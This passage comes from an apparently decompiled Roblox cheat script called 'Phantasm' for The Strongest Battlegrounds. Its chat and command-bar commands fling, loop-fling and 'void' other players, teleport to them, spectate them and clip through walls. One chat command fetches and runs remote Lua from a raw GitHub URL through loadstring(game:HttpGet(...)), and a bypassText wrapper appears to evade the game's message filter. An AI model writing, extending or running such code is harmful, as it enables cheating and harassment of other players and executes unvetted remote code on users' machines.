local v1470 = string.lower(p1469)
local v1471 = string.gsub(v1470, 'rbxassetid://', '')
u1468[string.gsub(v1471, 'rbxasset://', '')] = true
end)
local v1472 = {
Goal = 'CheckList',
List = u1468,
}
communicate(v1472)
while task.wait() do
local v1473 = getChar(_LocalPlayer)
local v1474
if v1473 then
v1474 = getHumanoid(v1473)
else
v1474 = v1473
end
if v1474 then
local v1475, v1476, v1477 = pairs({
'18169333305',
'18205877704',
'18230909652',
'18230741457',
'17325510002',
'17325513870',
'17325522388',
'17325537719',
})
while true do
local v1478
v1477, v1478 = v1475(v1476, v1477)
if v1477 == nil then
break
end
local _Animation2 = Instance.new('Animation')
_Animation2.AnimationId = 'rbxassetid://' .. v1478
_Animation2.Parent = v1473
local v1480 = v1474:LoadAnimation(_Animation2)
v1480:Play()
task.wait()
v1480:Stop()
end
end
end
elseif p1458.Text:find('^.sonicexe') then
sendMsg('exe')
getgenv().SonicEXE_Executed = true
loadstring(game:HttpGet('https://raw.githubusercontent.com/secretisadev/Phantasm/refs/heads/main/Sonic.lua'))()
elseif p1458.Text:find('^.fling') then
local v1481 = v1462[1]
if v1481 then
v1481 = getPlayer(v1462[1])
end
if v1481 then
fling(v1481.Name)
end
else
local _ = u1455[math.random(1, #u1455)]
end
end
end)
end
local v1483, v1484, v1485 = pairs(_TextChatService.TextChannels:GetChildren())
while true do
local v1486
v1485, v1486 = v1483(v1484, v1485)
if v1485 == nil then
break
end
v1482(v1486)
end
_TextChatService.TextChannels.ChildAdded:Connect(v1482)
u41[#u41 + 1] = _Players.PlayerRemoving:Connect(function(p1487)
if u43[p1487] then
local v1488, v1489, v1490 = pairs(u43[p1487])
while true do
local v1491
v1490, v1491 = v1488(v1489, v1490)
if v1490 == nil then
break
end
v1491:Disconnect()
end
if u44.Players[p1487] then
local v1492, v1493, v1494 = pairs(u44.Players[p1487])
while true do
local v1495
v1494, v1495 = v1492(v1493, v1494)
if v1494 == nil then
break
end
v1495:Remove()
end
table.remove(u44.Players, table.find(u44.Players, p1487))
end
table.clear(u43[p1487])
u43[p1487] = nil
table.remove(u43, table.find(u43, p1487))
end
if table.find(u18, p1487) then
table.remove(u18, table.find(u18, p1487))
end
allplayers = _Players:GetPlayers()
end)
local function v1503(p1496, p1497, p1498)
u60[p1496] = p1498
if p1497 then
local v1499, v1500, v1501 = pairs(p1497)
while true do
local v1502
v1501, v1502 = v1499(v1500, v1501)
if v1501 == nil then
break
end
u61[v1502] = p1498
end
end
end
local function u1506(p1504, p1505)
(u60[p1504] or u61[p1504])(p1505)
end
v1503('goto', {
'tp',
'to',
}, function(p1507)
local v1508 = p1507[1]
if v1508 then
v1508 = getPlayer(p1507[1])
end
local v1509 = getAllPlayers()
if p1507[1] and p1507[1]:lower() == 'random' then
v1508 = v1509[math.random(1, #v1509)]
end
if v1508 then
local v1510 = getChar(v1508)
local v1511
if v1510 then
v1511 = getRoot(v1510)
else
v1511 = v1510
end
if v1510 and v1511 then
heartbeatTp(v1511.CFrame)
end
end
end)
v1503('say', nil, function(p1512)
local v1513 = table.concat(p1512, ' ')
if v1513 and not Toggles.DisableMessaging.Value then
sendMsg(v1513)
end
end)
v1503('view', {
'spectate',
}, function(p1514)
if u62.view then
u62.view:Disconnect()
u62.view = nil
end
local u1515 = p1514[1]
if u1515 then
u1515 = getPlayer(p1514[1])
end
local v1516 = getAllPlayers()
if p1514[1] and p1514[1]:lower() == 'random' then
u1515 = v1516[math.random(1, #v1516)]
end
if u1515 then
u477:Notify(bypassText('Viewing', u1515.DisplayName), 3, u42.Notification)
u62.view = _RenderStepped:Connect(function()
local v1517 = u1515
if v1517 then
v1517 = getChar(u1515)
end
if u1515 and (u1515.Parent and (v1517 and workspace.CurrentCamera)) then
workspace.CurrentCamera.CameraSubject = v1517
elseif u1515 and not u1515.Parent or not u1515 then
task.spawn(u1506, 'unview')
end
end)
end
end)
v1503('unview', {
'unspectate',
}, function(_)
u477:Notify(bypassText('Unviewing..'), 3, u42.Notification)
if u62.view then
u62.view:Disconnect()
u62.view = nil
end
local v1518 = getChar(_LocalPlayer)
if v1518 and workspace.CurrentCamera then
workspace.CurrentCamera.CameraSubject = v1518
end
end)
local function u1524(p1519)
local _Position3 = p1519.Position
local v1521 = tick()
wait()
local _Position4 = p1519.Position
local v1523 = tick()
return (_Position4 - _Position3) / (v1523 - v1521)
end
local function u1550(p1525)
if u16 or (not _Players:FindFirstChild(p1525) or p1525 == _LocalPlayer.Name) then
return
end
local v1526 = getChar(_LocalPlayer)
local v1527
if v1526 then
v1527 = getRoot(v1526)
else
v1527 = v1526
end
local v1528
if v1526 then
v1528 = getHumanoid(v1526)
else
v1528 = v1526
end
local v1529 = _Players[p1525]
local v1530 = getChar(v1529)
local u1531
if v1530 then
u1531 = getRoot(v1530)
else
u1531 = v1530
end
local v1532
if v1530 then
v1532 = getHumanoid(v1530)
else
v1532 = v1530
end
if v1526 and (v1527 and (v1528 and (v1530 and (u1531 and v1532)))) then
local _CFrame19 = v1527.CFrame
local v1534 = 0
u16 = true
local v1535 = tick()
local _Position5 = u1531.Position
local v1537 = table.find(u18, v1529)
local u1538 = Vector3.new(0, 0, 0)
local v1539 = true
local _Value17 = Options.FlingSpeed.Value
local _Value18 = Options.FlingTimeout.Value
local _Value19 = Options.FlingType.Value
local v1543 = _Value19 == 'Anti-Fling' and -0.75
if not v1543 then
v1543 = _Value19 == 'Normal' and 0
if not v1543 then
if _Value19 == 'Void' then
v1543 = 1
else
v1543 = false
end
end
end
while true do
if v1527 and v1528 then
local _CurrentCamera8 = workspace.CurrentCamera
if _CurrentCamera8 and _CurrentCamera8.CameraSubject ~= v1532 then
_CurrentCamera8.CameraSubject = v1532
end
task.spawn(function()
u1538 = u1524(u1531)
end)
v1528.PlatformStand = true
local v1545 = CFrame.new(0, v1543, 0) * CFrame.Angles(math.rad(90), 0, math.rad(v1534))
local _Position6 = u1531.Position
v1534 = v1534 + _Value17
local v1547 = tick()
repeat
v1527.Velocity = Vector3.new(0, -9000000000, 0)
v1527.CFrame = CFrame.new(_Position6) * v1545 + v1532.MoveDirection * u1531.Velocity.Magnitude / 1.25
task.wait()
until tick() >= v1547 + 0.01
v1527.CFrame = CFrame.new(_Position6) * v1545 + v1532.MoveDirection * ((u1531.Position - _Position6).Magnitude * 30)
end
task.wait()
if u1531.CFrame.Y >= 10000 or (u1531.CFrame.Y <= -10000 or ((u1531.Position - _Position5).Magnitude >= 100 or (u1538.Magnitude >= 250 or (tick() >= v1535 + _Value18 or v1529.Character and v1529.Character ~= v1530)))) or (v1539 and v1532.Health <= 0 or (v1537 and not table.find(u18, v1529) or not (v1529.Character and _LocalPlayer.Character))) then
local _CurrentCamera9 = workspace.CurrentCamera
if _CurrentCamera9 then
local v1549 = not (_LocalPlayer.Character and v1528) and _LocalPlayer.Character and _LocalPlayer.Character:FindFirstChildWhichIsA('Humanoid')
if v1549 then
v1549 = _LocalPlayer.Character.Humanoid
end
_CurrentCamera9.CameraSubject = v1549
end
while true do
if v1527 then
v1527.CFrame = _CFrame19
v1527.Velocity = Vector3.new()
v1527.RotVelocity = Vector3.new()
end
if v1528 then
v1528.PlatformStand = false
v1528:ChangeState(Enum.HumanoidStateType.GettingUp)
end
task.wait()
if (v1527.Position - _CFrame19.Position).Magnitude <= 10 and (v1527.Velocity.Magnitude >= -500 and (v1527.Velocity.Magnitude <= 500 and not v1528.PlatformStand)) or _LocalPlayer.Character and _LocalPlayer.Character ~= v1526 then
u16 = false
end
end
end
end
else
return
end
end
local function u1556(p1551)
if _Players:FindFirstChild(p1551) then
local v1552 = _Players[p1551]
local _Character = v1552.Character
local v1554
if _Character then
v1554 = _Character:FindFirstChild('HumanoidRootPart')
else
v1554 = _Character
end
local v1555
if _Character then
v1555 = _Character:FindFirstChildWhichIsA('Humanoid')
else
v1555 = _Character
end
return _Character and (v1554 and (v1555 and (v1554.CFrame.Y >= 500 or (v1554.CFrame.Y <= -500 or (v1555.Health <= 0 or not v1552.Character))))) and true or false
end
end
v1503('fling', {
'void',
}, function(p1557)
if not u17 then
if #p1557 == 1 and (p1557[1]:lower() == 'all' or p1557[1]:lower() == 'others') then
table.clear(p1557)
local v1558 = _Players
local v1559, v1560, v1561 = pairs(v1558:GetPlayers())
while true do
local v1562
v1561, v1562 = v1559(v1560, v1561)
if v1561 == nil then
break
end
table.insert(p1557, v1562.Name)
end
end
local v1563, v1564, v1565 = pairs(p1557)
while true do
local v1566
v1565, v1566 = v1563(v1564, v1565)
if v1565 == nil then
break
end
local v1567 = v1566:gsub(',', ''):lower()
local v1568 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_ '
local u1569 = ''
for v1570 = 1, #v1567 do
local v1571 = v1567:sub(v1570, v1570)
if v1568:find(v1571) then
u1569 = u1569 .. v1571
end
end
task.spawn(function()
local v1572 = _Players
local v1573, v1574, v1575 = pairs(v1572:GetPlayers())
while true do
local v1576
v1575, v1576 = v1573(v1574, v1575)
if v1575 == nil then
break
end
local v1577 = v1576.Name:lower()
local v1578 = v1576.DisplayName:lower()
if v1577:find('^' .. u1569) or v1578:find('^' .. u1569) then
u1550(v1576.Name)
return
end
end
end)
if u16 then
repeat
task.wait()
until not u16
end
end
end
end)
v1503('loopfling', {
'loopvoid',
}, function(p1579)
if #p1579 == 1 and (p1579[1]:lower() == 'all' or p1579[1]:lower() == 'others') then
u17 = true
table.clear(p1579)
local v1580 = _Players
local v1581, v1582, v1583 = pairs(v1580:GetPlayers())
while true do
local v1584
v1583, v1584 = v1581(v1582, v1583)
if v1583 == nil then
break
end
table.insert(p1579, v1584.Name)
end
end
local v1585, v1586, v1587 = pairs(p1579)
while true do
local v1588
v1587, v1588 = v1585(v1586, v1587)
if v1587 == nil then
break
end
local v1589 = v1588:gsub(',', ''):lower()
local v1590 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_ '
local u1591 = ''
for v1592 = 1, #v1589 do
local v1593 = v1589:sub(v1592, v1592)
if v1590:find(v1593) then
u1591 = u1591 .. v1593
end
end
task.spawn(function()
local v1594 = _Players
local v1595, v1596, v1597 = pairs(v1594:GetPlayers())
while true do
local v1598
v1597, v1598 = v1595(v1596, v1597)
if v1597 == nil then
break
end
local v1599 = v1598.Name:lower()
local v1600 = v1598.DisplayName:lower()
if (v1599:find('^' .. u1591) or v1600:find('^' .. u1591)) and not table.find(u18, v1598) then
table.insert(u18, v1598)
end
end
end)
end
end)
v1503('unfling', {
'unvoid',
'unloopfling',
'unloopvoid',
}, function(p1601)
if #p1601 ~= 1 or p1601[1]:lower() ~= 'all' and p1601[1]:lower() ~= 'others' then
if u17 then
return
end
else
u17 = false
table.clear(p1601)
local v1602 = _Players
local v1603, v1604, v1605 = pairs(v1602:GetPlayers())
while true do
local v1606
v1605, v1606 = v1603(v1604, v1605)
if v1605 == nil then
break
end
table.insert(p1601, v1606.Name)
end
end
local v1607, v1608, v1609 = pairs(p1601)
while true do
local v1610
v1609, v1610 = v1607(v1608, v1609)
if v1609 == nil then
break
end
local v1611 = v1610:gsub(',', ''):lower()
local v1612 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_ '
local u1613 = ''
for v1614 = 1, #v1611 do
local v1615 = v1611:sub(v1614, v1614)
if v1612:find(v1615) then
u1613 = u1613 .. v1615
end
end
task.spawn(function()
local v1616 = _Players
local v1617, v1618, v1619 = pairs(v1616:GetPlayers())
while true do
local v1620
v1619, v1620 = v1617(v1618, v1619)
if v1619 == nil then
break
end
local v1621 = v1620.Name:lower()
local v1622 = v1620.DisplayName:lower()
if (v1621:find('^' .. u1613) or v1622:find('^' .. u1613)) and table.find(u18, v1620) then
table.remove(u18, table.find(u18, v1620))
end
end
end)
end
end)
task.spawn(function()
while task.wait() do
if #u18 > 0 then
local v1623, v1624, v1625 = pairs(u18)
while true do
local v1626
v1625, v1626 = v1623(v1624, v1625)
if v1625 == nil then
break
end
if #u18 ~= 0 and not u1556(v1626.Name) then
u1550(v1626.Name)
if u16 then
repeat
task.wait()
until not u16
end
end
end
end
end
end)
v1503('whitelist', {
'addwhitelist',
}, function(p1627)
local v1628 = p1627[1]
if v1628 then
v1628 = getPlayer(p1627[1])
end
if v1628 then
if table.find(u447, v1628) then
u477:Notify(bypassText('This player is already whitelisted!'), 3, u42.Notification)
else
table.insert(u447, v1628)
u477:Notify(bypassText('Whitelisted', v1628.DisplayName), 3, u42.Notification)
end
end
end)
v1503('unwhitelist', {
'removewhitelist',
}, function(p1629)
local v1630 = p1629[1]
if v1630 then
v1630 = getPlayer(p1629[1])
end
if v1630 and table.find(u447, v1630) then
table.remove(u447, table.find(u447, v1630))
u477:Notify(bypassText('Unwhitelisted', v1630.DisplayName), 3, u42.Notification)
end
end)
v1503('rejoin', {
'rj',
}, function(_)
rejoin()
end)
v1503('reset', nil, function(_)
local v1631 = getChar(_LocalPlayer)
local v1632
if v1631 then
v1632 = getHumanoid(v1631)
else
v1632 = v1631
end
if v1631 and v1632 then
v1632:ChangeState(Enum.HumanoidStateType.Dead)
v1632.Health = 0
end
end)
v1503('fixcam', nil, fixCam)
v1503('vclip', nil, function(p1633)
local v1634 = getChar(_LocalPlayer)
local v1635
if v1634 then
v1635 = getRoot(v1634)
else
v1635 = v1634
end
if v1634 and (v1635 and (p1633[1] and tonumber(p1633[1]))) then
heartbeatTp(v1635.CFrame * CFrame.new(0, p1633[1], 0))
end
end)
v1503('hclip', nil, function(p1636)
local v1637 = getChar(_LocalPlayer)
local v1638
if v1637 then
v1638 = getRoot(v1637)
else
v1638 = v1637
end
if v1637 and (v1638 and (p1636[1] and tonumber(p1636[1]))) then
heartbeatTp(v1638.CFrame * CFrame.new(0, 0, -p1636[1]))
end
end)
task.spawn(function()
local v1639 = {
Enabled = false,
ResetOnSpawn = false,
DisplayOrder = 100000,
Parent = u9,
}
local _ScreenGui2 = Create('ScreenGui', v1639)
local _Frame = Create('Frame', {
BackgroundColor3 = Color3.new(0, 0, 0),
BorderColor3 = Color3.new(0, 0, 0),
Size = UDim2.new(1, -4, 0, 20),
ZIndex = 5,
Parent = _ScreenGui2,
})
local _Frame2 = Create('Frame', {
BackgroundColor3 = Color3.fromRGB(28, 28, 28),
BorderColor3 = Color3.fromRGB(50, 50, 50),
BorderMode = Enum.BorderMode.Inset,
Size = UDim2.new(1, 0, 1, 0),
ZIndex = 6,
Parent = _Frame,
})
Create('UIGradient', {
Color = ColorSequence.new({
ColorSequenceKeypoint.new(0, Color3.new(1, 1, 1)),
ColorSequenceKeypoint.new(1, Color3.fromRGB(212, 212, 212)),
}),
Rotation = 90,
Parent = _Frame2,
})
local _Frame3 = Create('Frame', {
BackgroundTransparency = 1,
ClipsDescendants = true,
Position = UDim2.new(0, 5, 0, 0),
Size = UDim2.new(1, -5, 1, 0),
ZIndex = 7,
Parent = _Frame2,
})
local _TextLabel = Create('TextLabel', {
BackgroundTransparency = 1,
Position = UDim2.fromOffset(0, 0),
Size = UDim2.fromScale(5, 1),
Font = Enum.Font.Code,
Text = '',
TextColor3 = Color3.fromRGB(255, 255, 255),
TextTransparency = 0.5,
TextSize = 14,
TextStrokeTransparency = 0.7,
TextXAlignment = Enum.TextXAlignment.Left,
ZIndex = 7,
Parent = _Frame3,
})
local _TextBox = Create('TextBox', {
BackgroundTransparency = 1,
Position = UDim2.fromOffset(0, 0),
Size = UDim2.fromScale(5, 1),
Font = Enum.Font.Code,
PlaceholderColor3 = Color3.fromRGB(190, 190, 190),
PlaceholderText = '',
Text = '',
TextColor3 = Color3.fromRGB(255, 255, 255),
TextSize = 14,
TextStrokeTransparency = 0,
TextXAlignment = Enum.TextXAlignment.Left,
ClearTextOnFocus = true,
ZIndex = 8,
Parent = _Frame3,
})
local v1646 = _TextBox
_TextBox.GetPropertyChangedSignal(v1646, 'Text'):Connect(function()
if _TextBox.Text:match('^%s*$') then
_TextLabel.Text = ''
else
local v1647 = _TextBox.Text:split(' ')
if v1647 then
local v1648 = v1647[1]
if v1648 then
v1648 = v1647[1]:lower()
end
local v1649 = v1647[2]
if v1648 then
local v1650, v1651, v1652 = pairs(u60)
while true do
local v1653
v1652, v1653 = v1650(v1651, v1652)
if v1652 == nil then
break
end
if v1652:find('^' .. v1648) then
if v1649 then
v1649 = getPlayer(v1649)
end
if v1649 then
_TextLabel.Text = v1652 .. '' .. v1649.DisplayName
_TextLabel.Text = _TextBox.Text .. _TextLabel.Text:sub(#_TextBox.Text, #_TextLabel.Text)
else
_TextLabel.Text = v1652
end
end
local v1654, v1655, v1656 = pairs(u61)
while true do
local v1657
v1656, v1657 = v1654(v1655, v1656)
if v1656 == nil then
break
end
if v1656:find('^' .. v1648) then
local v1658
if v1649 then
v1658 = getPlayer(v1649)
else
v1658 = v1649
end
if v1658 then
_TextLabel.Text = v1656 .. '' .. v1658.DisplayName
_TextLabel.Text = _TextBox.Text .. _TextLabel.Text:sub(#_TextBox.Text, #_TextLabel.Text)
else
_TextLabel.Text = v1656
end
break
end
_TextLabel.Text = ''
end
end
end
end
end
end)
_TextBox.FocusLost:Connect(function(p1659)
if p1659 and Toggles.CommandBar.Value and not _TextBox.Text:match('^%s*$') then
_TextLabel.Text = ''
local v1660 = _TextBox.Text:split(' ')
if v1660 then
local v1661 = v1660[1]
if v1661 then
v1661 = v1660[1]:lower()
end
if v1661 and (u60[v1661] or u61[v1661]) then
table.remove(v1660, 1)
task.spawn(u1506, v1661, v1660)
end
end
end
_ScreenGui2.Enabled = false
end)
_UserInputService.InputBegan:Connect(function(p1662, _)
if not _UserInputService:GetFocusedTextBox() and (p1662.KeyCode == Enum.KeyCode[Options.CommandBind.Value] and Toggles.CommandBar.Value) then
_ScreenGui2.Enabled = true
_TextBox:CaptureFocus()
task.spawn(function()
repeat
_TextBox.Text = ''
_TextLabel.Text = ''
_RenderStepped:Wait()
until _TextBox.Text == '' and _TextLabel.Text == ''
end)
end
end)
if ChatBar then
ChatBar.FocusLost:Connect(function(p1663)
if p1663 then
if ChatBar.Text:find('^%s*;') and Toggles.UseCommandsinChat.Value then
local v1664 = ChatBar.Text:find(';')
local v1665 = ChatBar.Text:sub(v1664 + 1, #ChatBar.Text)
if not Toggles.SendCommandInChat.Value then
ChatBar.Text = ''
end
local v1666 = v1665:split(' ')
if v1666 then
local v1667 = v1666[1]
if u60[v1667] or u61[v1667] then
table.remove(v1666, 1)
task.spawn(u1506, v1667, v1666)
end
end
elseif Toggles.ChatPrefixEnabled.Value and not Toggles.ChatPrefixEnabled.Disabled then
local _Text = ChatBar.Text
ChatBar.Text = ''
sendMsg(Options.ChatPrefix.Value .. ' ' .. _Text)
end
end
end)
end
end)
v507:AddToggle('UnlockMouse', {
Text = bypassText('Unlock Mouse'),
Tooltip = bypassText('Unlocks your mouse while the GUI is open.'),
Default = false,
Callback = function(p1669)
if p1669 then
while task.wait() and Toggles.UnlockMouse.Value ~= false do
if not u483.Minimized then
local _ScreenGui3 = Instance.new('ScreenGui', u9)
local _TextButton = Instance.new('TextButton', _ScreenGui3)
_TextButton.BackgroundTransparency = 1
_TextButton.Size = UDim2.new(0, 0, 0, 0)
_TextButton.Text = ''
_TextButton.Modal = true
repeat
task.wait()
until u483.Minimized or Toggles.UnlockMouse.Value == false
_ScreenGui3:Destroy()
end
end
end
end,
})
local _Menu = v484['UI Settings']:AddLeftGroupbox('Menu')
_Menu:AddToggle('KeybindMenuOpen', {
Default = u477.KeybindFrame.Visible,
Text = 'Open Keybind Menu',
Callback = function(p1673)
u477.KeybindFrame.Visible = p1673
end,
})
_Menu:AddToggle('ShowUntoggledKeybinds', {
Default = false,
Text = 'Show Untoggled Keybinds',
})
_Menu:AddToggle('ShowCustomCursor', {
Text = 'Custom Cursor',
Default = true,
Callback = function(p1674)
u477.ShowCustomCursor = p1674
end,
})
_Menu:AddDropdown('NotificationSide', {
Values = {
'Left',
'Right',
},
Default = 'Right',
Text = 'Notification Side',
Callback = function(p1675)
u477:SetNotifySide(p1675)
end,
})
_Menu:AddDropdown('DPIDropdown', {
Values = {
'50%',
'75%',
'100%',
'125%',
'150%',
'175%',
'200%',
},
Default = '100%',
Text = 'DPI Scale',
Callback = function(p1676)
local v1677 = p1676:gsub('%%', '')
u477:SetDPIScale((tonumber(v1677)))
end,
})
_Menu:AddDivider()
_Menu:AddLabel('Menu Bind'):AddKeyPicker('MenuKeybind', {
Default = 'RightControl',
NoUI = true,
Text = 'Menu keybind',
})
_Menu:AddButton('Unload', function()
u477:Unload()
end)
_Menu:AddButton('Rejoin', rejoin)
u41[#u41 + 1] = _RenderStepped:Connect(function()
if not Toggles.ShowUntoggledKeybinds.Value then
local _KeybindsToggle = Options.FlyBind.KeybindsToggle
if Toggles.Fly.Value then
_KeybindsToggle:SetVisibility(true)
else
_KeybindsToggle:SetVisibility(false)
end
local _KeybindsToggle2 = Options.AnimeTPKeybind.KeybindsToggle
if Toggles.AnimeTeleportation.Value then
_KeybindsToggle2:SetVisibility(true)
else
_KeybindsToggle2:SetVisibility(false)
end
local _KeybindsToggle3 = Options['L-OnKeybind'].KeybindsToggle
if Toggles['Lock-on'].Value then
_KeybindsToggle3:SetVisibility(true)
else
_KeybindsToggle3:SetVisibility(false)
end
local _KeybindsToggle4 = Options.OrbitBind.KeybindsToggle
if Toggles.Orbit.Value then
_KeybindsToggle4:SetVisibility(true)
else
_KeybindsToggle4:SetVisibility(false)
end
local _KeybindsToggle5 = Options.TP1Bind.KeybindsToggle
if Toggles.TP1.Value then
_KeybindsToggle5:SetVisibility(true)
else
_KeybindsToggle5:SetVisibility(false)
end
local _KeybindsToggle6 = Options.TP2Bind.KeybindsToggle
if Toggles.TP2.Value then
_KeybindsToggle6:SetVisibility(true)
else
_KeybindsToggle6:SetVisibility(false)
end
local _KeybindsToggle7 = Options.VelocitySpoofBind.KeybindsToggle
if Toggles.VelocitySpoof.Value then
_KeybindsToggle7:SetVisibility(true)
else
_KeybindsToggle7:SetVisibility(false)
end
end
end)
u477.ToggleKeybind = Options.MenuKeybind
v478:SetLibrary(u477)
v479:SetLibrary(u477)
v479:IgnoreThemeSettings()
v479:SetIgnoreIndexes({
'MenuKeybind',
})
v478:SetFolder('Phantasm')
v479:SetFolder('Phantasm/The Strongest Battlegrounds')
v479:BuildConfigSection(v484['UI Settings'])
v478:ApplyToTab(v484['UI Settings'])
v479:LoadAutoloadConfig()
task.spawn(function()
if u10 then
u10.Text = string.format('Loaded in %.1f seconds!', tick() - u1)
task.wait(2)
while true do
if u10 then
u10.Text = u10.Text:sub(1, -2)
end
task.wait(0.03)
if u10 and u10.Text == '' or not u10 then
u10.Parent:Destroy()
end
end
else
return
end
end)
u477:Notify({
Title = bypassText('Phantasm'),
Description = bypassText('Script loaded successfully!'),
Time = 3,
SoundId = u42.Notification,
})
end
else
return
end
end